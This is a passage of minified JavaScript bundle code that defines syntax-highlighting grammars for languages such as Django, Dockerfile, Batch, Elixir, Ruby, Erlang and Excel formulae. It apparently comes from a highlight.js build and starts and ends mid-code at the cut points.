/,end:/$/},{begin:/^\+{3}/,end:/$/},{begin:/^\*{15}$/},{begin:/^diff --git/,end:/$/}]},{className:"addition",begin:/^\+/,end:/$/},{className:"deletion",begin:/^-/,end:/$/},{className:"addition",begin:/^!/,end:/$/}]}}yH8.exports=pMq});var hH8=v((Ikz,SH8)=>{function dMq(A){let K={begin:/\|[A-Za-z]+:?/,keywords:{name:"truncatewords removetags linebreaksbr yesno get_digit timesince random striptags filesizeformat escape linebreaks length_is ljust rjust cut urlize fix_ampersands title floatformat capfirst pprint divisibleby add make_list unordered_list urlencode timeuntil urlizetrunc wordcount stringformat linenumbers slice date dictsort dictsortreversed default_if_none pluralize lower join center default truncatewords_html upper length phone2numeric wordwrap time addslashes slugify first escapejs force_escape iriencode last safe safeseq truncatechars localize unlocalize localtime utc timezone"},contains:[A.QUOTE_STRING_MODE,A.APOS_STRING_MODE]};return{name:"Django",aliases:["jinja"],case_insensitive:!0,subLanguage:"xml",contains:[A.COMMENT(/\{%\s*comment\s*%\}/,/\{%\s*endcomment\s*%\}/),A.COMMENT(/\{#/,/#\}/),{className:"template-tag",begin:/\{%/,end:/%\}/,contains:[{className:"name",begin:/\w+/,keywords:{name:"comment endcomment load templatetag ifchanged endifchanged if endif firstof for endfor ifnotequal endifnotequal widthratio extends include spaceless endspaceless regroup ifequal endifequal ssi now with cycle url filter endfilter debug block endblock else autoescape endautoescape csrf_token empty elif endwith static trans blocktrans endblocktrans get_static_prefix get_media_prefix plural get_current_language language get_available_languages get_current_language_bidi get_language_info get_language_info_list localize endlocalize localtime endlocaltime timezone endtimezone get_current_timezone verbatim"},starts:{endsWithParent:!0,keywords:"in by as",contains:[K],relevance:0}}]},{className:"template-variable",begin:/\{\{/,end:/\}\}/,contains:[K]}]}}SH8.exports=dMq});var xH8=v((Skz,bH8)=>{function cMq(A){return{name:"DNS Zone",aliases:["bind","zone"],keywords:{keyword:"IN A AAAA AFSDB APL CAA CDNSKEY CDS CERT CNAME DHCID DLV DNAME DNSKEY DS HIP IPSECKEY KEY KX LOC MX NAPTR NS NSEC NSEC3 NSEC3PARAM PTR RRSIG RP SIG SOA SRV SSHFP TA TKEY TLSA TSIG TXT"},contains:[A.COMMENT(";","$",{relevance:0}),{className:"meta",begin:/^\$(TTL|GENERATE|INCLUDE|ORIGIN)\b/},{className:"number",begin:"((([0-9A-Fa-f]{1,4}:){7}([0-9A-Fa-f]{1,4}|:))|(([0-9A-Fa-f]{1,4}:){6}(:[0-9A-Fa-f]{1,4}|((25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)(\\.(25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){5}(((:[0-9A-Fa-f]{1,4}){1,2})|:((25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)(\\.(25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){4}(((:[0-9A-Fa-f]{1,4}){1,3})|((:[0-9A-Fa-f]{1,4})?:((25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)(\\.(25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){3}(((:[0-9A-Fa-f]{1,4}){1,4})|((:[0-9A-Fa-f]{1,4}){0,2}:((25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)(\\.(25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){2}(((:[0-9A-Fa-f]{1,4}){1,5})|((:[0-9A-Fa-f]{1,4}){0,3}:((25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)(\\.(25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){1}(((:[0-9A-Fa-f]{1,4}){1,6})|((:[0-9A-Fa-f]{1,4}){0,4}:((25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)(\\.(25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)){3}))|:))|(:(((:[0-9A-Fa-f]{1,4}){1,7})|((:[0-9A-Fa-f]{1,4}){0,5}:((25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)(\\.(25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]?\\d)){3}))|:)))\\b"},{className:"number",begin:"((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]).){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\\b"},A.inherit(A.NUMBER_MODE,{begin:/\b\d+[dhwm]?/})]}}bH8.exports=cMq});var BH8=v((hkz,uH8)=>{function lMq(A){return{name:"Dockerfile",aliases:["docker"],case_insensitive:!0,keywords:"from maintainer expose env arg user onbuild stopsignal",contains:[A.HASH_COMMENT_MODE,A.APOS_STRING_MODE,A.QUOTE_STRING_MODE,A.NUMBER_MODE,{beginKeywords:"run cmd entrypoint volume add copy workdir label healthcheck shell",starts:{end:/[^\\]$/,subLanguage:"bash"}}],illegal:"</"}}uH8.exports=lMq});var gH8=v((bkz,mH8)=>{function iMq(A){let K=A.COMMENT(/^\s*@?rem\b/,/$/,{relevance:10});return{name:"Batch file (DOS)",aliases:["bat","cmd"],case_insensitive:!0,illegal:/\/\*/,keywords:{keyword:"if else goto for in do call exit not exist errorlevel defined equ neq lss leq gtr geq",built_in:"prn nul lpt3 lpt2 lpt1 con com4 com3 com2 com1 aux shift cd dir echo setlocal endlocal set pause copy append assoc at attrib break cacls cd chcp chdir chkdsk chkntfs cls cmd color comp compact convert date dir diskcomp diskcopy doskey erase fs find findstr format ftype graftabl help keyb label md mkdir mode more move path pause print popd pushd promt rd recover rem rename replace restore rmdir shift sort start subst time title tree type ver verify vol ping net ipconfig taskkill xcopy ren del"},contains:[{className:"variable",begin:/%%[^ ]|%[^ ]+?%|![^ ]+?!/},{className:"function",begin:{className:"symbol",begin:"^\\s*[A-Za-z._?][A-Za-z0-9_$#@~.?]*(:|\\s+label)",relevance:0}.begin,end:"goto:eof",contains:[A.inherit(A.TITLE_MODE,{begin:"([_a-zA-Z]\\w*\\.)*([_a-zA-Z]\\w*:)?[_a-zA-Z]\\w*"}),K]},{className:"number",begin:"\\b\\d+",relevance:0},K]}}mH8.exports=iMq});var QH8=v((xkz,FH8)=>{function nMq(A){return{keywords:"dsconfig",contains:[{className:"keyword",begin:"^dsconfig",end:/\s/,excludeEnd:!0,relevance:10},{className:"built_in",begin:/(list|create|get|set|delete)-(\w+)/,end:/\s/,excludeEnd:!0,illegal:"!@#$%^&*()",relevance:10},{className:"built_in",begin:/--(\w+)/,end:/\s/,excludeEnd:!0},{className:"string",begin:/"/,end:/"/},{className:"string",begin:/'/,end:/'/},{className:"string",begin:/[\w\-?]+:\w+/,end:/\W/,relevance:0},{className:"string",begin:/\w+(\-\w+)*/,end:/(?=\W)/,relevance:0},A.HASH_COMMENT_MODE]}}FH8.exports=nMq});var pH8=v((ukz,UH8)=>{function rMq(A){let K={className:"string",variants:[A.inherit(A.QUOTE_STRING_MODE,{begin:'((u8?|U)|L)?"'}),{begin:'(u8?|U)?R"',end:'"',contains:[A.BACKSLASH_ESCAPE]},{begin:"'\\\\?.",end:"'",illegal:"."}]},q={className:"number",variants:[{begin:"\\b(\\d+(\\.\\d*)?|\\.\\d+)(u|U|l|L|ul|UL|f|F)"},{begin:A.C_NUMBER_RE}],relevance:0},Y={className:"meta",begin:"#",end:"$",keywords:{"meta-keyword":"if else elif endif define undef ifdef ifndef"},contains:[{begin:/\\\n/,relevance:0},{beginKeywords:"include",end:"$",keywords:{"meta-keyword":"include"},contains:[A.inherit(K,{className:"meta-string"}),{className:"meta-string",begin:"<",end:">",illegal:"\\n"}]},K,A.C_LINE_COMMENT_MODE,A.C_BLOCK_COMMENT_MODE]},z={className:"variable",begin:/&[a-z\d_]*\b/},w={className:"meta-keyword",begin:"/[a-z][a-z\\d-]*/"},H={className:"symbol",begin:"^\\s*[a-zA-Z_][a-zA-Z\\d_]*:"},J={className:"params",begin:"<",end:">",contains:[q,z]},O={className:"class",begin:/[a-zA-Z_][a-zA-Z\d_@]*\s\{/,end:/[{;=]/,returnBegin:!0,excludeEnd:!0};return{name:"Device Tree",keywords:"",contains:[{className:"class",begin:"/\\s*\\{",end:/\};/,relevance:10,contains:[z,w,H,O,J,A.C_LINE_COMMENT_MODE,A.C_BLOCK_COMMENT_MODE,q,K]},z,w,H,O,J,A.C_LINE_COMMENT_MODE,A.C_BLOCK_COMMENT_MODE,q,K,Y,{begin:A.IDENT_RE+"::",keywords:""}]}}UH8.exports=rMq});var cH8=v((Bkz,dH8)=>{function oMq(A){return{name:"Dust",aliases:["dst"],case_insensitive:!0,subLanguage:"xml",contains:[{className:"template-tag",begin:/\{[#\/]/,end:/\}/,illegal:/;/,contains:[{className:"name",begin:/[a-zA-Z\.-]+/,starts:{endsWithParent:!0,relevance:0,contains:[A.QUOTE_STRING_MODE]}}]},{className:"template-variable",begin:/\{/,end:/\}/,illegal:/;/,keywords:"if eq ne lt lte gt gte select default math sep"}]}}dH8.exports=oMq});var iH8=v((mkz,lH8)=>{function aMq(A){let K=A.COMMENT(/\(\*/,/\*\)/),q={className:"attribute",begin:/^[ ]*[a-zA-Z]+([\s_-]+[a-zA-Z]+)*/},z={begin:/=/,end:/[.;]/,contains:[K,{className:"meta",begin:/\?.*\?/},{className:"string",variants:[A.APOS_STRING_MODE,A.QUOTE_STRING_MODE,{begin:"`",end:"`"}]}]};return{name:"Extended Backus-Naur Form",illegal:/\S/,contains:[K,q,z]}}lH8.exports=aMq});var rH8=v((gkz,nH8)=>{function sMq(A){let Y={$pattern:"[a-zA-Z_][a-zA-Z0-9_.]*(!|\\?)?",keyword:"and false then defined module in return redo retry end for true self when next until do begin unless nil break not case cond alias while ensure or include use alias fn quote require import with|0"},z={className:"subst",begin:/#\{/,end:/\}/,keywords:Y},w={className:"number",begin:"(\\b0o[0-7_]+)|(\\b0b[01_]+)|(\\b0x[0-9a-fA-F_]+)|(-?\\b[1-9][0-9_]*(\\.[0-9_]+([eE][-+]?[0-9]+)?)?)",relevance:0},H=`[/|([{<"']`,J={className:"string",begin:`~[a-z](?=[/|([{<"'])`,contains:[{endsParent:!0,contains:[{contains:[A.BACKSLASH_ESCAPE,z],variants:[{begin:/"/,end:/"/},{begin:/'/,end:/'/},{begin:/\//,end:/\//},{begin:/\|/,end:/\|/},{begin:/\(/,end:/\)/},{begin:/\[/,end:/\]/},{begin:/\{/,end:/\}/},{begin:/</,end:/>/}]}]}]},O={className:"string",begin:`~[A-Z](?=[/|([{<"'])`,contains:[{begin:/"/,end:/"/},{begin:/'/,end:/'/},{begin:/\//,end:/\//},{begin:/\|/,end:/\|/},{begin:/\(/,end:/\)/},{begin:/\[/,end:/\]/},{begin:/\{/,end:/\}/},{begin:/</,end:/>/}]},X={className:"string",contains:[A.BACKSLASH_ESCAPE,z],variants:[{begin:/"""/,end:/"""/},{begin:/'''/,end:/'''/},{begin:/~S"""/,end:/"""/,contains:[]},{begin:/~S"/,end:/"/,contains:[]},{begin:/~S'''/,end:/'''/,contains:[]},{begin:/~S'/,end:/'/,contains:[]},{begin:/'/,end:/'/},{begin:/"/,end:/"/}]},$={className:"function",beginKeywords:"def defp defmacro",end:/\B\b/,contains:[A.inherit(A.TITLE_MODE,{begin:"[a-zA-Z_][a-zA-Z0-9_.]*(!|\\?)?",endsParent:!0})]},_=A.inherit($,{className:"class",beginKeywords:"defimpl defmodule defprotocol defrecord",end:/\bdo\b|$|;/}),G=[X,O,J,A.HASH_COMMENT_MODE,_,$,{begin:"::"},{className:"symbol",begin:":(?![\\s:])",contains:[X,{begin:"[a-zA-Z_]\\w*[!?=]?|[-+~]@|<<|>>|=~|===?|<=>|[<>]=?|\\*\\*|[-/+%^&*~`|]|\\[\\]=?"}],relevance:0},{className:"symbol",begin:"[a-zA-Z_][a-zA-Z0-9_.]*(!|\\?)?:(?!:)",relevance:0},w,{className:"variable",begin:"(\\$\\W)|((\\$|@@?)(\\w+))"},{begin:"->"},{begin:"("+A.RE_STARTERS_RE+")\\s*",contains:[A.HASH_COMMENT_MODE,{begin:/\/: (?=\d+\s*[,\]])/,relevance:0,contains:[w]},{className:"regexp",illegal:"\\n",contains:[A.BACKSLASH_ESCAPE,z],variants:[{begin:"/",end:"/[a-z]*"},{begin:"%r\\[",end:"\\][a-z]*"}]}],relevance:0}];return z.contains=G,{name:"Elixir",keywords:Y,contains:G}}nH8.exports=sMq});var aH8=v((Fkz,oH8)=>{function tMq(A){let K={variants:[A.COMMENT("--","$"),A.COMMENT(/\{-/,/-\}/,{contains:["self"]})]},q={className:"type",begin:"\\b[A-Z][\\w']*",relevance:0},Y={begin:"\\(",end:"\\)",illegal:'"',contains:[{className:"type",begin:"\\b[A-Z][\\w]*(\\((\\.\\.|,|\\w+)\\))?"},K]},z={begin:/\{/,end:/\}/,contains:Y.contains},w={className:"string",begin:"'\\\\?.",end:"'",illegal:"."};return{name:"Elm",keywords:"let in if then else case of where module import exposing type alias as infix infixl infixr port effect command subscription",contains:[{beginKeywords:"port effect module",end:"exposing",keywords:"port effect module where command subscription exposing",contains:[Y,K],illegal:"\\W\\.|;"},{begin:"import",end:"$",keywords:"import as exposing",contains:[Y,K],illegal:"\\W\\.|;"},{begin:"type",end:"$",keywords:"type alias",contains:[q,Y,z,K]},{beginKeywords:"infix infixl infixr",end:"$",contains:[A.C_NUMBER_MODE,K]},{begin:"port",end:"$",keywords:"port",contains:[K]},w,A.QUOTE_STRING_MODE,A.C_NUMBER_MODE,q,A.inherit(A.TITLE_MODE,{begin:"^[_a-z][\\w']*"}),K,{begin:"->|<-"}],illegal:/;/}}oH8.exports=tMq});var eH8=v((Qkz,tH8)=>{function eMq(A){if(!A)return null;if(typeof A==="string")return A;return A.source}function APq(A){return sH8("(?=",A,")")}function sH8(...A){return A.map((q)=>eMq(q)).join("")}function KPq(A){let q={keyword:"and then defined module in return redo if BEGIN retry end for self when next until do begin unless END rescue else break undef not super class case require yield alias while ensure elsif or include attr_reader attr_writer attr_accessor __FILE__",built_in:"proc lambda",literal:"true false nil"},Y={className:"doctag",begin:"@[A-Za-z]+"},z={begin:"#<",end:">"},w=[A.COMMENT("#","$",{contains:[Y]}),A.COMMENT("^=begin","^=end",{contains:[Y],relevance:10}),A.COMMENT("^__END__","\\n$")],H={className:"subst",begin:/#\{/,end:/\}/,keywords:q},J={className:"string",contains:[A.BACKSLASH_ESCAPE,H],variants:[{begin:/'/,end:/'/},{begin:/"/,end:/"/},{begin:/`/,end:/`/},{begin:/%[qQwWx]?\(/,end:/\)/},{begin:/%[qQwWx]?\[/,end:/\]/},{begin:/%[qQwWx]?\{/,end:/\}/},{begin:/%[qQwWx]?</,end:/>/},{begin:/%[qQwWx]?\//,end:/\//},{begin:/%[qQwWx]?%/,end:/%/},{begin:/%[qQwWx]?-/,end:/-/},{begin:/%[qQwWx]?\|/,end:/\|/},{begin:/\B\?(\\\d{1,3})/},{begin:/\B\?(\\x[A-Fa-f0-9]{1,2})/},{begin:/\B\?(\\u\{?[A-Fa-f0-9]{1,6}\}?)/},{begin:/\B\?(\\M-\\C-|\\M-\\c|\\c\\M-|\\M-|\\C-\\M-)[\x20-\x7e]/},{begin:/\B\?\\(c|C-)[\x20-\x7e]/},{begin:/\B\?\\?\S/},{begin:/<<[-~]?'?(\w+)\n(?:[^\n]*\n)*?\s*\1\b/,returnBegin:!0,contains:[{begin:/<<[-~]?'?/},A.END_SAME_AS_BEGIN({begin:/(\w+)/,end:/(\w+)/,contains:[A.BACKSLASH_ESCAPE,H]})]}]},O="[1-9](_?[0-9])*|0",X="[0-9](_?[0-9])*",$={className:"number",relevance:0,variants:[{begin:"\\b([1-9](_?[0-9])*|0)(\\.([0-9](_?[0-9])*))?([eE][+-]?([0-9](_?[0-9])*)|r)?i?\\b"},{begin:"\\b0[dD][0-9](_?[0-9])*r?i?\\b"},{begin:"\\b0[bB][0-1](_?[0-1])*r?i?\\b"},{begin:"\\b0[oO][0-7](_?[0-7])*r?i?\\b"},{begin:"\\b0[xX][0-9a-fA-F](_?[0-9a-fA-F])*r?i?\\b"},{begin:"\\b0(_?[0-7])+r?i?\\b"}]},_={className:"params",begin:"\\(",end:"\\)",endsParent:!0,keywords:q},G=[J,{className:"class",beginKeywords:"class module",end:"$|;",illegal:/=/,contains:[A.inherit(A.TITLE_MODE,{begin:"[A-Za-z_]\\w*(::\\w+)*(\\?|!)?"}),{begin:"<\\s*",contains:[{begin:"("+A.IDENT_RE+"::)?"+A.IDENT_RE,relevance:0}]}].concat(w)},{className:"function",begin:sH8(/def\s+/,APq("([a-zA-Z_]\\w*[!?=]?|[-+~]@|<<|>>|=~|===?|<=>|[<>]=?|\\*\\*|[-/+%^&*~`|]|\\[\\]=?)\\s*(\\(|;|$)")),relevance:0,keywords:"def",end:"$|;",contains:[A.inherit(A.TITLE_MODE,{begin:"([a-zA-Z_]\\w*[!?=]?|[-+~]@|<<|>>|=~|===?|<=>|[<>]=?|\\*\\*|[-/+%^&*~`|]|\\[\\]=?)"}),_].concat(w)},{begin:A.IDENT_RE+"::"},{className:"symbol",begin:A.UNDERSCORE_IDENT_RE+"(!|\\?)?:",relevance:0},{className:"symbol",begin:":(?!\\s)",contains:[J,{begin:"([a-zA-Z_]\\w*[!?=]?|[-+~]@|<<|>>|=~|===?|<=>|[<>]=?|\\*\\*|[-/+%^&*~`|]|\\[\\]=?)"}],relevance:0},$,{className:"variable",begin:"(\\$\\W)|((\\$|@@?)(\\w+))(?=[^@$?])(?![A-Za-z])(?![@$?'])"},{className:"params",begin:/\|/,end:/\|/,relevance:0,keywords:q},{begin:"("+A.RE_STARTERS_RE+"|unless)\\s*",keywords:"unless",contains:[{className:"regexp",contains:[A.BACKSLASH_ESCAPE,H],illegal:/\n/,variants:[{begin:"/",end:"/[a-z]*"},{begin:/%r\{/,end:/\}[a-z]*/},{begin:"%r\\(",end:"\\)[a-z]*"},{begin:"%r!",end:"![a-z]*"},{begin:"%r\\[",end:"\\][a-z]*"}]}].concat(z,w),relevance:0}].concat(z,w);H.contains=G,_.contains=G;let Z="[>?]>",W="[\\w#]+\\(\\w+\\):\\d+:\\d+>",D="(\\w+-)?\\d+\\.\\d+\\.\\d+(p\\d+)?[^\\d][^>]+>",j=[{begin:/^\s*=>/,starts:{end:"$",contains:G}},{className:"meta",begin:"^("+Z+"|"+W+"|"+D+")(?=[ ])",starts:{end:"$",contains:G}}];return w.unshift(z),{name:"Ruby",aliases:["rb","gemspec","podspec","thor","irb"],keywords:q,illegal:/\/\*/,contains:[A.SHEBANG({binary:"ruby"})].concat(j).concat(w).concat(G)}}tH8.exports=KPq});var KJ8=v((Ukz,AJ8)=>{function qPq(A){return{name:"ERB",subLanguage:"xml",contains:[A.COMMENT("<%#","%>"),{begin:"<%[%=-]?",end:"[%-]?%>",subLanguage:"ruby",excludeBegin:!0,excludeEnd:!0}]}}AJ8.exports=qPq});var YJ8=v((pkz,qJ8)=>{function YPq(A){if(!A)return null;if(typeof A==="string")return A;return A.source}function zPq(...A){return A.map((q)=>YPq(q)).join("")}function wPq(A){return{name:"Erlang REPL",keywords:{built_in:"spawn spawn_link self",keyword:"after and andalso|10 band begin bnot bor bsl bsr bxor case catch cond div end fun if let not of or orelse|10 query receive rem try when xor"},contains:[{className:"meta",begin:"^[0-9]+> ",relevance:10},A.COMMENT("%","$"),{className:"number",begin:"\\b(\\d+(_\\d+)*#[a-fA-F0-9]+(_[a-fA-F0-9]+)*|\\d+(_\\d+)*(\\.\\d+(_\\d+)*)?([eE][-+]?\\d+)?)",relevance:0},A.APOS_STRING_MODE,A.QUOTE_STRING_MODE,{begin:zPq(/\?(::)?/,/([A-Z]\w*)/,/((::)[A-Z]\w*)*/)},{begin:"->"},{begin:"ok"},{begin:"!"},{begin:"(\\b[a-z'][a-zA-Z0-9_']*:[a-z'][a-zA-Z0-9_']*)|(\\b[a-z'][a-zA-Z0-9_']*)",relevance:0},{begin:"[A-Z][a-zA-Z0-9_']*",relevance:0}]}}qJ8.exports=wPq});var wJ8=v((dkz,zJ8)=>{function HPq(A){let q="([a-z'][a-zA-Z0-9_']*:[a-z'][a-zA-Z0-9_']*|[a-z'][a-zA-Z0-9_']*)",Y={keyword:"after and andalso|10 band begin bnot bor bsl bzr bxor case catch cond div end fun if let not of orelse|10 query receive rem try when xor",literal:"false true"},z=A.COMMENT("%","$"),w={className:"number",begin:"\\b(\\d+(_\\d+)*#[a-fA-F0-9]+(_[a-fA-F0-9]+)*|\\d+(_\\d+)*(\\.\\d+(_\\d+)*)?([eE][-+]?\\d+)?)",relevance:0},H={begin:"fun\\s+[a-z'][a-zA-Z0-9_']*/\\d+"},J={begin:q+"\\(",end:"\\)",returnBegin:!0,relevance:0,contains:[{begin:q,relevance:0},{begin:"\\(",end:"\\)",endsWithParent:!0,returnEnd:!0,relevance:0}]},O={begin:/\{/,end:/\}/,relevance:0},X={begin:"\\b_([A-Z][A-Za-z0-9_]*)?",relevance:0},$={begin:"[A-Z][a-zA-Z0-9_]*",relevance:0},_={begin:"#"+A.UNDERSCORE_IDENT_RE,relevance:0,returnBegin:!0,contains:[{begin:"#"+A.UNDERSCORE_IDENT_RE,relevance:0},{begin:/\{/,end:/\}/,relevance:0}]},G={beginKeywords:"fun receive if try case",end:"end",keywords:Y};G.contains=[z,H,A.inherit(A.APOS_STRING_MODE,{className:""}),G,J,A.QUOTE_STRING_MODE,w,O,X,$,_];let Z=[z,H,G,J,A.QUOTE_STRING_MODE,w,O,X,$,_];J.contains[1].contains=Z,O.contains=Z,_.contains[1].contains=Z;let W=["-module","-record","-undef","-export","-ifdef","-ifndef","-author","-copyright","-doc","-vsn","-import","-include","-include_lib","-compile","-define","-else","-endif","-file","-behaviour","-behavior","-spec"],D={className:"params",begin:"\\(",end:"\\)",contains:Z};return{name:"Erlang",aliases:["erl"],keywords:Y,illegal:"(</|\\*=|\\+=|-=|/\\*|\\*/|\\(\\*|\\*\\))",contains:[{className:"function",begin:"^[a-z'][a-zA-Z0-9_']*\\s*\\(",end:"->",returnBegin:!0,illegal:"\\(|#|//|/\\*|\\\\|:|;",contains:[D,A.inherit(A.TITLE_MODE,{begin:"[a-z'][a-zA-Z0-9_']*"})],starts:{end:";|\\.",keywords:Y,contains:Z}},z,{begin:"^-",end:"\\.",relevance:0,excludeEnd:!0,returnBegin:!0,keywords:{$pattern:"-"+A.IDENT_RE,keyword:W.map((j)=>`${j}|1.5`).join(" ")},contains:[D]},w,A.QUOTE_STRING_MODE,_,X,$,O,{begin:/\.$/}]}}zJ8.exports=HPq});var JJ8=v((ckz,HJ8)=>{function JPq(A){return{name:"Excel formulae",aliases:["xlsx","xls"],case_insensitive:!0,keywords:{$pattern:/[a-zA-Z][\w\.]*/,built_in:"ABS ACCRINT ACCRINTM ACOS ACOSH ACOT ACOTH AGGREGATE ADDRESS AMORDEGRC AMORLINC AND ARABIC AREAS ASC ASIN ASINH ATAN ATAN2 ATANH AVEDEV AVERAGE AVERAGEA AVERAGEIF AVERAGEIFS BAHTTEXT BASE BESSELI BESSELJ BESSELK BESSELY BETADIST BETA.DIST BETAINV BETA.INV BIN2DEC BIN2HEX BIN2OCT BINOMDIST BINOM.DIST BINOM.DIST.RANGE BINOM.INV BITAND BITLSHIFT BITOR BITRSHIFT BITXOR CALL CEILING CEILING.MATH CEILING.PRECISE CELL CHAR CHIDIST CHIINV CHITEST CHISQ.DIST CHISQ.DIST.RT CHISQ.INV CHISQ.INV.RT CHISQ.TEST CHOOSE CLEAN CODE COLUMN COLUMNS COMBIN COMBINA COMPLEX CONCAT CONCATENATE CONFIDENCE CONFIDENCE.NORM CONFIDENCE.T CONVERT CORREL COS COSH COT COTH COUNT COUNTA COUNTBLANK COUNTIF COUNTIFS COUPDAYBS COUPDAYS COUPDAYSNC COUPNCD COUPNUM COUPPCD COVAR COVARIANCE.P COVARIANCE.S CRITBINOM CSC CSCH CUBEKPIMEMBER CUBEMEMBER CUBEMEMBERPROPERTY CUBERANKEDMEMBER CUBESET CUBESETCOUNT CUBEVALUE CUMIPMT CUMPRINC DATE DATEDIF DATEVALUE DAVERAGE DAY DAYS DAYS360 DB DBCS DCOUNT DCOUNTA DDB DEC2BIN DEC2HEX DEC2OCT DECIMAL DEGREES DELTA DEVSQ DGET DISC DMAX DMIN DOLLAR DOLLARDE DOLLARFR DPRODUCT DSTDEV DSTDEVP DSUM DURATION DVAR DVARP EDATE EFFECT ENCODEURL EOMONTH ERF ERF.PRECISE ERFC ERFC.PRECISE ERROR.TYPE EUROCONVERT EVEN EXACT EXP EXPON.DIST EXPONDIST FACT FACTDOUBLE FALSE|0 F.DIST FDIST F.DIST.RT FILTERXML FIND FINDB F.INV F.INV.RT FINV FISHER FISHERINV FIXED FLOOR FLOOR.MATH FLOOR.PRECISE FORECAST FORECAST.ETS FORECAST.ETS.CONFINT FORECAST.ETS.SEASONALITY FORECAST.ETS.STAT FORECAST.LINEAR FORMULATEXT FREQUENCY F.TEST FTEST FV FVSCHEDULE GAMMA GAMMA.DIST GAMMADIST GAMMA.INV GAMMAINV GAMMALN GAMMALN.PRECISE GAUSS GCD GEOMEAN GESTEP GETPIVOTDATA GROWTH HARMEAN HEX2BIN HEX2DEC HEX2OCT HLOOKUP HOUR HYPERLINK HYPGEOM.DIST HYPGEOMDIST IF IFERROR IFNA IFS IMABS IMAGINARY IMARGUMENT IMCONJUGATE IMCOS IMCOSH IMCOT IMCSC IMCSCH IMDIV IMEXP IMLN IMLOG10 IMLOG2 IMPOWER IMPRODUCT IMREAL IMSEC IMSECH IMSIN IMSINH IMSQRT IMSUB IMSUM IMTAN INDEX INDIRECT INFO INT INTERCEPT INTRATE IPMT IRR ISBLANK ISERR ISERROR ISEVEN ISFORMULA ISLOGICAL ISNA ISNONTEXT ISNUMBER ISODD ISREF ISTEXT ISO.CEILING ISOWEEKNUM ISPMT JIS KURT LARGE LCM LEFT LEFTB LEN LENB LINEST LN LOG LOG10 LOGEST LOGINV LOGNORM.DIST LOGNORMDIST LOGNORM.INV LOOKUP LOWER MATCH MAX MAXA MAXIFS MDETERM MDURATION MEDIAN MID MIDBs MIN MINIFS MINA MINUTE MINVERSE MIRR MMULT MOD MODE MODE.MULT MODE.SNGL MONTH MROUND MULTINOMIAL MUNIT N NA NEGBINOM.DIST NEGBINOMDIST NETWORKDAYS NETWORKDAYS.INTL NOMINAL NORM.DIST NORMDIST NORMINV NORM.INV NORM.S.DIST NORMSDIST NORM.S.INV NORMSINV NOT NOW NPER NPV NUMBERVALUE OCT2BIN OCT2DEC OCT2HEX ODD ODDFPRICE ODDFYIELD ODDLPRICE ODDLYIELD OFFSET OR PDURATION PEARSON PERCENTILE.EXC PERCENTILE.INC PERCENTILE PERCENTRANK.EXC PERCENTRANK.INC PERCENTRANK PERMUT PERMUTATIONA PHI PHONETIC PI PMT POISSON.DIST POISSON POWER PPMT PRICE PRICEDISC PRICEMAT PROB PRODUCT PROPER PV QUARTILE QUARTILE.EXC QUARTILE.INC QUOTIENT RADIANS RAND RANDBETWEEN RANK.AVG RANK.EQ RANK RATE RECEIVED REGISTER.ID REPLACE REPLACEB REPT RIGHT RIGHTB ROMAN ROUND ROUNDDOWN ROUNDUP ROW ROWS RRI RSQ RTD SEARCH SEARCHB SEC SECH SECOND SERIESSUM SHEET SHEETS SIGN SIN SINH SKEW SKEW.P SLN SLOPE SMALL SQL.REQUEST SQRT SQRTPI STANDARDIZE STDEV STDEV.P STDEV.S STDEVA STDEVP STDEVPA STEYX SUBSTITUTE SUBTOTAL SUM SUMIF SUMIFS SUMPRODUCT SUMSQ SUMX2MY2 SUMX2PY2 SUMXMY2 SWITCH SYD T TAN TANH TBILLEQ TBILLPRICE TBILLYIELD T.DIST T.DIST.2T T.DIST.RT TDIST TEXT TEXTJOIN TIME TIMEVALUE T.INV T.INV.2T TINV TODAY TRANSPOSE TREND TRIM TRIMMEAN TRUE|0 TRUNC T.TEST TTEST TYPE UNICHAR UNICODE UPPER VALUE VAR VAR.P VAR.S VARA VARP VARPA VDB VLOOKUP WEBSERVICE WEEKDAY WEEKNUM WEIBULL WEIBULL.DIST WORKDAY WORKDAY.INTL XIRR XNPV XOR YEAR YEARFRAC YIELD YIELDDISC YIELDMAT Z.TEST ZTEST"},contains:[{begin:/^=/,end:/[^=]/,returnEnd:!0,illegal:/=/,relevance:10},{className:"symbol",begin:/\b[A-Z]{1,2}\d+\b/,end:/[^\d]/,excludeEnd:!0,relevance:0},{className:"symbol",begin:/[A-Z]{0,2}\d*:[A-Z]{0,2}\d*/,relevance:0},A.BACKSLASH_ESCAPE,A.QUOTE_STRING_MODE,{className:"number",begin:A.NUMBER_RE+"(%)?",relevance:0},A.COMMENT(/\bN\(/,/\)/,{excludeBegin:!0,excludeEnd:!0,illegal:/\n/})]}}HJ8.exports=JPq});var XJ8=v((lkz,OJ8)=>{function OPq(A){return{name:"FIX",contains:[{begin:/[^\u2401\u0001]+/,end:/[\u2401\u0001]/,excludeEnd:!0,returnBegin:!0,returnEnd:!1,contains:[{begin:/([^\u2401\u0001=]+)/,end:/=([^\u2401\u0001=]+)/,returnEnd:!0,returnBegin:!1,className:"attr"},{begin:/=/,end:/([\u2401\u0001])/,excludeEnd:!0,excludeBegin:!0,className:"string"}]}],case_insensitive:!0}}OJ8.exports=OPq});var _J8=v((ikz,$J8)=>{function XPq(A){let 